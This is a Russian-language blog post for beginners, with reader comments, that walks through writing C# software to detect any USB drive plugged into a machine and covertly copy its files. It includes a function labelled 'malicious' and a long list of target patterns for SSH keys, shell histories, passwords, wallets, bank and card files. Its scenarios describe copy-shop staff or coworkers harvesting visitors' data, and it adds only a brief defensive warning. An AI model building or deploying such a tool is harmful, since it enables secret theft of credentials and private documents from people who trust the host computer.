Написать ПО несанкционированно копирующее файлы с легально подключенного USB — устройства, не требующее установки и прав администратора.
Т.е. легальное ПО, которое может быть использовано злоумышленниками для нанесения вреда (согласно трактовке одного из антивирусных средств).
Аудитория:
Новички в программировании и просто интересующиеся.
Пример применения ПО злоумышленником:
- 1. Работник просит другого работника скопировать документы с флэшки с какой-либо целью. Теперь эти и другие документы в руках злодея;
- 2. Необходимо распечатать диплом, т.к. дома принтера нет, печатаем в ближайшем копировальном центре. Теперь диплом и другая информация в руках работника копировального центра.
Пишем программу:
1. Ловим подключение USB-устройства
protected override void WndProc(ref Message m)//Обнаружен съемный носитель:
base.WndProc(ref m);
const int WM_DeviceChange = 0x219; //что-то связанное с usb
const int DBT_DEVICEARRIVAL = 0x8000; //устройство подключено
const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // устройство отключено
if (m.Msg == WM_DeviceChange)
Thread T = new Thread(Вредоносная_функция);
if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL)
T.Start();//новое usb подключено
if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE)
T.Abort();// usb отключено
2. Выбираем форматы файлов для поиска (в индивидуальной последовательности — поскольку каждый сам решает какие типы файлов копировать в первую очередь)
*.ppk
*.pref
*.remmina
*.sh
*.txt
*.хml*
*access*.txt
*account*
*accs*.txt
*admin*.txt
*amazon*.txt
*authorized_keys*
*balance*.txt
*bash_history*
*billing*.txt
*btc*.txt*brute*
*c6ep*.txt
*cepвep*
*codes*
*connect*
*contacts*.txt
*database*
*dedic*.txt
*dedik*.txt
*domain*.txt
*ftp*.txt
*hack*.txt
*host*.txt
*icq*.txt
*id_*sa*
*id_dsa*
*id_rsa*
*known_hosts*
*ksh_history*
*login*
*mail*.txt
*merchant*.txt
*money*
*myadmin*.txt
*mysql_history*
*nano_history*
*parol*
*pass*
*pentest*
*pgsql_history*
*pma*.txt
*pref*
*qwerty*
*rdp*.txt
*remmina*
*root*
*serv*.txt
*sh_history*
*srv*.txt
*todo*.txt
*userid*
*users*
*vds*.txt
*vpn*.txt
*vps*.txt
*vuln*.txt
*wallet*
*webmon*
*zsh_history*
*акк*.txt
*аккаунт*
*баги*
*баланс*
*баланс*.txt
*банк*.txt
*бтц*
*важн*.txt
*вдс*.txt
*вебман*
*вебман*.txt
*взлом*
*впн*.txt
*впс*.txt
*данны*
*деньг*
*доступ*
*задачи*
*задачи*.txt
*инфо*.txt
*картон*.txt
*карты*.txt
*ключ*.txt
*коин*
*кош*.txt
*кредит*
*логин*.txt
*парол*
*почта*
*приват*
*рут*.txt
*секрет*
*секрет*.txt
*сервер*
*серт*.txt
*смс*.txt
*сокс*.txt
*счет*.txt
*тест*.txt
*туду*.txt
*уязвим*
*фтп*.txt
*хак*.txt
*шел*.txt
*шоп*.txt
*эккаунт*
*эксплоит*
access.txt
adm.txt
all.txt
bill.txt
card.txt
cards.txt
cc.txt
centos.txt
data.txt
ded.txt
ftps.txt
full.txt
hdd.txt
host.txt
id.txt
info.txt
key.txt
linux.txt
mail.txt
mails.txt
pern*.txt
skype*.txt
sql*.txt
ssh*.txt
sys.txt
tconn.conf
toor.txt
ubuntu.txt
usb.txt
user.txt
virtual.txt
рег*.txt
сбер*.txt
ссх*.txt
*парол*
*pass*
*pwd*
*login*
*логин*
*vk.com*
вконтакте
*почты*
*.xls*
*.doc*
*.rtf
*.JPG
*.jpeg
*.pgf
*.bmp
*.cr2
*config*
*пинкод*
*банк*
3. Ищем файлы на USB-носителе
private ArrayList F;// Список найденных файлов
private void Вредоносная_функция()
Thread.Sleep(4000);//засыпаем чтобы дать носителю правильно определиться в операционной системе
foreach (var dInfo in DriveInfo.GetDrives())
if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
for (int i = 0; i < listBox2.Items.Count; i++)
{
foreach (string file in Directory.GetFiles(@dInfo.Name,
listBox2.Items[i].ToString(),
SearchOption.AllDirectories))
F.Add(new FILEclass(file, Path.GetFileName(file)));
}
5. Копируем файлы с подключенного USB-носителя к себе на компьютер
private void cheat()
...ищем файлы...
//Создаем папку куда копировать
Directory.CreateDirectory("Liked " + DateTime.Now.Year +
"." + DateTime.Now.Month +
"." + DateTime.Now.Day);
int copied = 0; int copy_err = 0; int exist = 0;
for (int i = 0; i < F.Count; i++)
{
string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname));
string source = ((FILEclass)(F[i])).Fullname;
string dest = Dir + @"\" + ((FILEclass)(F[i])).name;
string destName = Path.GetFileName(Dir + @"\" + ((FILEclass)(F[i])).name);
if (sourceName.Equals(destName))
if (File.Exists(source))
if (File.Exists(dest))
try
{
if (FileCompare(source, dest)) exist++; //такой файл уже есть
else//файла нет - несанкционированно копируем
File.Copy(source, Dir + @"\" + Timenow() +
"s. " + ((FILEclass)(F[i])).name);
copied++;
}
catch{copy_err++; }//на случай если USB-устройство извлекут
else
{
try
File.Copy(source, dest);
catch { copy_err++; }
copied++;
}
else
copy_err++;
}
//https://support.microsoft.com/ru-ru/kb/320348
private bool FileCompare(string file1, string file2)
int file1byte;
int file2byte;
FileStream fs1;
FileStream fs2;
if (file1 == file2)
return true;//на сравнение передан один и тот же файл
fs1 = new FileStream(file1, FileMode.Open);
fs2 = new FileStream(file2, FileMode.Open);
if (fs1.Length != fs2.Length)
fs1.Close();
fs2.Close();
return false;
do
{ //размер файлов совпал, значит сравним файлы по битам
file1byte = fs1.ReadByte();
file2byte = fs2.ReadByte();
}
while ((file1byte == file2byte) && (file1byte != -1));
fs1.Close();
fs2.Close();
return ((file1byte - file2byte) == 0);
6. Ведение лога
Добавив лог, легко можно увидеть примерную структуру папок на USB-устройстве и что скопировано:
14.08.2015 21:25:13 ============================================= Программа запущена
14.08.2015 21:25:17 Начат поиск файлов
14.08.2015 21:25:18 Найден файл F:\123hack.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\App1.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\LanguageQualifiers.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\ProjectArchitectures.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\Cisco Mars incident parser\Cisco Mars incident parser\obj\Debug\Cisco Mars incident parser.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\dots\dots\obj\Debug\dots.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Assets\AboutAssets.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Resources\AboutResources.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug\ResourceTypeUsage.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug
7. Копирование данных с внешних HDD оставлю в качестве «домашней работы»
Выводы:
Не храните конфиденциальную информацию на съемных USB-устройствах и не подключайте их к не доверенным устройствам.
Готовый пример в «Облако@mail.ru»
www.virustotal.com: 1/56 (антивирус «VBA32» определяет как «Trojan.MSIL.gen.11»).
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Комментарии (21)
vedenin1980
19.08.2015 23:20+4Куда проще написать элементарный батник копирования файлов и повесить его на события планировщика виндовс (или запускать его руками под видом антивируса). Не говоря уже о куче специализированных программ по синхронизации данных с флешек, которые могут все это и кучу ещё всего. А к вредоносному по или вирусам это вообще никакого отношения не имеет, обычная программа синхронизации данных, которую никакой антивирус ловить и не должен.
Aclz
20.08.2015 00:55+14Тю… Я то думал, что тут готовишь флешку, даёшь коллегу, он её вставляет в свой комп, а она, помимо того, что Mass Storage, еще и в фоне с его компа на себя что-нибудь сливает. А тут пишут программу для копирования файлов из папки в папку.
Samber
20.08.2015 01:37+6Если бы при подключении флешки ПО на ней, в обход запрета автозапуска, начинало сканировать комп и кидать, к примеру, файлы с паролями браузера мне на сервер — было бы интересно.
Gariks
20.08.2015 02:06-1Писал подобное на winAPI в далеком 2010 году, программа была установлена в компьютерной аудитории и использовалась лаборантами для коллекционирования курсовых, дипломов и недописанных статей, книг преподователей, которые использовали этот компьютер для показа презентаций.
К сожалению исходников я не нашел (винт приказал долго жить), остались лишь воспоминания в блоге
Программа висит в памяти и с интервалом в минуту проходится по всем логическим дискам, если это флешка запрашивается ее серийный номер — программа сравнивает записи в реестре о последнем копировании с данной флешки и если прошло больше суток запускается рекурсивная функция копирования. Копирование производится на доступный для записи диск с условием, что на диске достаточно свободного места.
imbeat
20.08.2015 14:23Directory.CreateDirectory("Liked " + DateTime.Now.Year + "." + DateTime.Now.Month + "." + DateTime.Now.Day);
Можно короче и быстрее и красивее (дни и месяцы до 9 включительно будут выводиться с нулем… например, «02», а не «2») и удобнее для сортировки:
Directory.CreateDirectory("Liked " + DateTime.Now.ToString("yyyy.MM.dd"));
PoliTeX
20.08.2015 16:36-1Directory.CreateDirectory(DateTime.Now.ToString(«Like'd' yyyy.MM.dd»));
imbeat
20.08.2015 16:40-1Да, согласен. Так еще лучше.
withkittens
21.08.2015 23:46Если уж придираться, то «Liked» и «yyyy.MM.dd» — это разные сущности. Не вижу ни одной причины пихать их вместе в строку формата.
PoliTeX
12.09.2015 13:18За что likedу такие почести по сравнению с теми-же точками?
Оптимизация, но не в случае CreateDirectory, конечно.
Ivan_83
Херота какая то.
Как антивирус должен отделять ПО для автоматической синхронизации/бэкапа от такого ПО которое льёт файлы налево?
Что мешает «добросовестному» сотруднику копи центра фаром копировать всё содержимое флешки?
Зачем тут вообще что то кодить?
В чём вообще посыл?
Тут недавно шифровальщик попался, там вообще всё было сделано через батник, pgp 1996 года для шифрования закрытого ключа и rar консольный для шифрования файлов.
Это по круче копирования и придраться формально не к чему.
Protos
С помощью так называемого «Поведенческого анализа».
vedenin1980
Какой нафиг «Поведенческий анализ» если прога делает ровно тоже что любая прога по синхронизации содержимого флешки и диска? И какой нафиг антивирус, если прогу сознательно запускает владелец компа, с возможностью жестко указать антивирусу эту прогу не трогай ни при каком случае? Вы о чем вообще? Компы уже овладели телепатией и обзавелись искусственным интеллектом?
Protos
Не знаю как у вас, а в нашей организации пользователям запрещено управлять антивирусом.
saboteur_kiev
Удивительно, но голосование говорит что это было полезно 50%
Кто эти люди?
Nikobraz
Аудитория GT
Ivan_83
А почему вы мне задаёте этот вопрос?
Я высказал своё личное мнение, и мне не важно как оно соотносится с чужими мнениями, будут меня за это плюсовать или минусовать — мне плевать. Написал бы тоже самое даже в случае: «ДА = 1 000 000 / НЕТ = 0».
Публикация чистое капитанство из серии: «не тыкайте свои носители с ценной инфой куда попало».
Программа/код тоже ниочём.
Я понимаю, это был бы разбор новой дыры в винде, с жёсткими ссылками, которая до недавнего времени позволяла автоматом запускать на выполнение с флешки файл при подключении, без всяких запросов и возможности отмены.
Мне об том что написал автор известно с 2003 года, когда в Одессе я давал оцифровать отснятые плёнки, а когда дал флешку чтобы мне скинули то работник зачем то начал копировать всё с моей флешки к себе, прямо у меня на глазах, то ли фаром то ли проводником. Пришлось попросить его удалить всё скопированное.
И не давно одна знакомая дала свой переносной диск со всем самым ценным чтобы ей с регистратора в какой то конторе слили момент ДТП с её участием. Короче, там или регистратор или оператор тупые, но винт ей предварительно форматнули, а уже потом залили что просила.